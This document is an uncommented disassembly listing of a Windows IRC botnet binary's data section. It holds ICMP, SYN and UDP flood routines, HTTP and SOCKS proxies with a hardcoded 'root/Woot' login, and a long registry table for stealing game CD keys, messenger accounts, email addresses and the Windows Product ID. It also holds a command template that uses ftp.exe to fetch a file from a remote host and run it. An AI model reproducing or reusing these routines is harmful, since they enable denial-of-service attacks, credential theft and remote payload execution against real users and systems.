byte_446CE5	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CEF	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427800+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427800+B4o
		align 10h
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427800+43o
		align 4
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427980+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427980+2Bo
		align 10h
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427980+23o
		align 10h
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427980+Co
		align 10h
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
		align 10h
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 10h
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 10h
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 4
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 10h
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 10h
		dd 0
off_446EF4	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429170+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429170+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A611o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A5ACo
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 10h
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A222o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A091o
					; ___:0042A0A7o
		align 10h
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A073o
					; ___:0042A089o
		align 10h
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429EB4o
		align 10h
aChunked	db 'chunked',0          ; DATA XREF: ___:00429E71o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429E25o
		align 10h
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429D8Do
		align 8
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429BEEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		align 10h
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429BB9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 4
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429ABBo
					; ___:00429F00o
		align 4
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429A90o
		align 10h
		dd 0
asc_4471E4	db 0Dh,0Ah,0		; DATA XREF: ___:0042997Co
					; ___:00429A3Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:00429947o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:00429712o
		align 10h
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:004296DDo
		dd 0
off_44720C	dd offset byte_544547	; DATA XREF: ___:00429618o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42AC10+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AE10+69o
		align 10h
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AE10+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AE10+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 4
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_4472EC	dd 1000005h, 0	dword_4472F4	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 10h
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473BCo
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 4
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 10h
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 10h
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 10h
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 8
dword_447498	dd 524F5453h	byte_44749C	db 0			; DATA XREF: sub_42E5B0+EDr
		align 10h
dword_4474A0	dd 52544552h	byte_4474A4	db 0			; DATA XREF: sub_42E5B0+D3r
		align 4
dword_4474A8	dd 5453494Ch	byte_4474AC	db 0			; DATA XREF: sub_42E5B0+B8r
		align 10h
dword_4474B0	dd 54534C4Eh	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+9Er
		align 4
dword_4474B8	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 4
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 10h
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 4
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 8
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 10h
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 10h
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 10h
off_447670	dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do
					; "socket open failed"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 8
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 10h
word_4476B0	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476B4	dd 25206425h, 64hdword_4476BC	dd 455A4953h, 732520h, 0dword_4476C8	dd 4D54444Dh, 732520h, 0dword_4476D4	dd 4F544E52h, 732520h, 0dword_4476E0	dd 52464E52h, 732520h, 0dword_4476EC	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 10h
dword_447700	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 10h
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <€>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 448854h, 448F30h,	448820h, 80000002h, 4487C0h
		dd 448F30h, 448790h, 80000002h,	448738h, 448F30h, 448714h
		dd 80000002h, 4486CCh, 448F30h,	4486B4h, 80000002h, 448670h
		dd 448F30h, 448648h, 80000002h,	44860Ch, 448F30h, 4485D8h
		dd 80000002h, 448578h, 448F30h,	44854Ch, 80000002h, 448528h
		dd 448520h, 4484F4h, 80000002h,	4484CCh, 448520h, 4484B4h
		dd 80000001h, 448484h, 448480h,	448470h, 80000002h, 448434h
		dd 448F30h, 448424h, 80000002h,	4483E8h, 448F30h, 4483D4h
		dd 80000002h, 44838Ch, 448F30h,	448370h, 80000002h, 44832Ch
		dd 448F30h, 448310h, 80000001h,	4482E8h, 448480h, 4482D8h
		dd 80000001h, 4482B0h, 448480h,	448290h, 80000002h, 448254h
		dd 448250h, 448234h, 80000002h,	448210h, 448208h, 4481F0h
		dd 80000001h, 4481C4h, 4481BCh,	448198h, 80000002h, 44814Ch
		dd 448F30h, 448124h, 80000002h,	4480D0h, 448F30h, 448098h
		dd 80000002h, 448034h, 448F30h,	448000h, 80000002h, 447FA0h
		dd 448F30h, 447F84h, 80000002h,	447F3Ch, 448F30h, 447F20h
		dd 80000002h, 447ED8h, 448F30h,	447EC8h, 80000002h, 447E8Ch
		dd 448F30h, 447E7Ch, 80000002h,	447E40h, 448F30h, 447E18h
		dd 80000002h, 447DC4h, 448F30h,	447D9Ch, 80000002h, 447D4Ch
		dd 448F30h, 447D30h, 80000002h,	447D08h, 448480h, 447CF4h
		dd 80000002h, 447CBCh, 448F30h,	447C8Ch, 80000002h, 447C34h
		dd 448F30h, 447C18h, 80000001h,	447BC8h, 447BC0h, 447BA4h
		dd 80000002h, 447B60h, 447B54h,	447B3Ch, 80000001h, 447B0Ch
		dd 447B00h, 447AE0h, 80000002h,	447AA4h, 447BC0h, 447A84h
		dd 80000002h, 447A48h, 447BC0h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447780o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 4
		dd 0
dword_4488EC	dd 3A6D6961h, 732520h, 0dword_4488F8	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A2C	dd 3A6E736Dh, 732520h, 0dword_448A38	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B64:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B6F:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B7B:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B87:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448B98:				; CODE XREF: ___:00448B9Dj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448B98
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_448C90	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F30	db 0			; DATA XREF: sub_403530+95o
					; sub_404600+200o ...
		align 4
dword_448F34	dd 0							; sub_4246D0+11o ...
dword_448F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4AFr ...
		align 10h
dword_448F40	dd 0							; ___:0040D415w ...
		dd 8 dup(0)
dword_448F64	dd 41h dup(0)						; ___:0040D450o ...
dword_449068	dd 0							; ___:loc_40D4A4r ...
dword_44906C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D41Fr ...
dword_449070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D650+CAw
dword_449074	dd 0							; sub_40D650+E3r
		dd 11h dup(0)
dword_4490BC	dd 0							; sub_40FE30+47Dr
dword_4490C0	dd 0							; sub_40FE30+515r ...
dword_4490C4	dd 0							; sub_40FE30+655r ...
dword_4490C8	dd 0							; sub_40FE30+B79r ...
dword_4490CC	dd 0							; sub_40FE30+74Br
dword_4490D0	dd 0							; sub_40FE30+828r
dword_4490D4	dd 0							; sub_40FE30+77Cr
dword_4490D8	dd 0							; sub_40FE30+4DDr ...
dword_4490DC	dd 0							; sub_40FE30+311r
dword_4490E0	dd 0							; sub_40FE30+34Dr ...
dword_4490E4	dd 0							; sub_40FE30+33Dr
dword_4490E8	dd 0							; sub_40FE30+3D2r
dword_4490EC	dd 0							; sub_40FE30+E93r
dword_4490F0	dd 0							; sub_40FE30+1220r ...
dword_4490F4	dd 0							; sub_411C00+4DAr
dword_4490F8	dd 0							; sub_40FE30+683r
dword_4490FC	dd 0							; sub_40FE30+6B5r
dword_449100	dd 0							; sub_40FE30+1252r
		dd 5 dup(0)
dword_449118	dd 10h dup(0)						; ___:0040401Fo ...
		db 2 dup(0)
byte_44915A	db 0			; DATA XREF: sub_409B00r sub_409B70r
		align 4
		db 3 dup(0)
byte_44915F	db 0			; DATA XREF: sub_40D650+10Fr
		db 0
byte_449161	db 0			; DATA XREF: sub_40DBE0r
word_449162	dw 0			; DATA XREF: sub_40DBE0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449277	db 0			; DATA XREF: ___:00412F8Ao
					; ___:0041303Fo ...
		db 3 dup(0)
byte_44927B	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_449280	dd 12h dup(0)						; sub_40FE30+114o
		db 0
byte_4492C9	db 3 dup(0)		; DATA XREF: ___:00408B9Bo
					; sub_40FE30+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449312	dw 0			; DATA XREF: ___:00408B72o
					; sub_40FE30+132o
		dd 6 dup(0)
word_44932C	dw 0			; DATA XREF: sub_40FE30+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44935B	db 0			; DATA XREF: ___:00408BC4o
					; sub_40FE30+17Co ...
		dd 12h dup(0)
dword_4493A4	dd 12h dup(0)						; sub_40FE30+F7o ...
		db 0
byte_4493ED	db 3 dup(0)		; DATA XREF: ___:00408AFDo
					; sub_40FE30+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44947F	db 0			; DATA XREF: ___:00408BEDo
					; sub_40FE30+19Ao
		dd 24h dup(0)
		db 0
byte_449511	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44955A	dw 0			; DATA XREF: ___:00412F5Ao
					; ___:00412F79o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44964F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449729	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449804	db 0			; DATA XREF: sub_40FE30+842r
		align 4
		dd 0Bh dup(0)
dword_449834	dd 18h dup(0)						; sub_40EE30+97o ...
		db 2 dup(0)
byte_449896	db 0			; DATA XREF: sub_404C30+258r
					; sub_41D830+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498DF	db 0			; DATA XREF: sub_404C30:loc_404EA0r
					; sub_41D830:loc_41DEB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44990F	db 0			; DATA XREF: sub_404C30+279o
					; sub_41D830+68Fo ...
		dd 12h dup(0)
dword_449958	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_449A04	dd 0				dd 11h dup(0)
		db 0
dword_449A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DB8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC5E	dw 0			; DATA XREF: sub_404600+1BDo
					; sub_404AD0+31o ...
		db 2 dup(0)
word_44AC62	dw 0			; DATA XREF: sub_404AD0+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACD6	dw 0			; DATA XREF: sub_4076B0+36o
